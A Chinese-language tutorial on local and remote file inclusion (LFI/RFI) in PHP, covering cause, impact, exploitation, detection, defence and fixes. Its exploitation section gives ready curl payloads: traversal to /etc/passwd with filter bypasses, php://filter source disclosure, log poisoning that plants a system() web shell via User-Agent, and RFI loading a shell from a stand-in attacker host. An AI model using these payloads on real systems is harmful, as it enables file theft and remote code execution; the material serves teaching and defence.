文件包含漏洞:LFI / RFI 实战

本地文件包含(LFI)与远程文件包含(RFI)的实战:原理、读文件、php 过滤器读源码、日志包含 Getshell、检测、防御与修复。

写在前面:合法学习边界

文件包含测试只允许在自建靶场或授权环境进行。对真实系统读文件、写入 getshell 可能触犯法律。

一、漏洞原理

很多语言有“包含文件”的功能(PHP 的 include/require、JSP 的 include、模板引擎)。如果包含的路径由用户输入控制,就产生文件包含漏洞。

1
include($_GET['page'] . '.php');

用户传 ?page=../../../../etc/passwd,就可能把系统文件读进页面。

两种类型:

1
2
LFI:包含服务器本地文件
RFI:包含远程 URL 文件(require 允许时)

漏洞本质:用户可控输入进入了文件路径/包含流程

二、影响与危害

1
2
3
4
读取任意文件(配置、源码、密码文件)
配合日志/临时文件包含 → Getshell(RCE)
RFI 直接加载远程恶意文件
内网信息泄露

风险等级:高到严重。

三、利用 / 复现

LFI 读文件

1
2
3
4
5
# 目录穿越读 /etc/passwd
curl http://目标/index.php?page=../../../../etc/passwd
# 常见过滤绕过
curl http://目标/index.php?page=....//....//....//etc/passwd
curl http://目标/index.php?page=..%2f..%2f..%2fetc%2fpasswd

PHP 过滤器读源码(不执行)

1
2
curl http://目标/index.php?page=php://filter/convert.base64-encode/resource=index.php
# 把 base64 解码即得源码

日志包含 Getshell

先让 Web 日志里写入一句话,再包含日志文件:

1
2
3
4
# 1. User-Agent 写入 PHP 代码
curl -H "User-Agent: <?php system(\$_GET['c']);?>" http://目标/index.php?page=1
# 2. 包含日志文件
curl http://目标/index.php?page=../../../../var/log/apache2/access.log&c=id

RFI

1
curl http://目标/index.php?page=http://攻击机/shell.txt

前提是 allow_url_include 开启。

四、检测

1
2
3
参数中出现路径穿越、php://、http://、data://
日志里包含关键字 php://filter、../../、/etc/passwd
请求带异常 UA 后跟随日志包含请求

五、防御

1
2
3
4
对 include 路径做白名单映射
禁止用户直接控制文件路径
关闭 allow_url_include
对 ..、php://、http:// 等做校验

六、修复

1
2
3
4
改用白名单/映射表,不用用户输入拼路径
统一过滤 ../ 与编码变体
升级配置关闭远程包含
修复后复测:穿越与过滤器 payload 均被拦截

七、小结

文件包含的关键是“用户输入进了路径”。它和目录遍历是兄弟,但更危险——LFI 能读源码、配合日志还能 Getshell。测试时优先找 page/file/template 这类参数。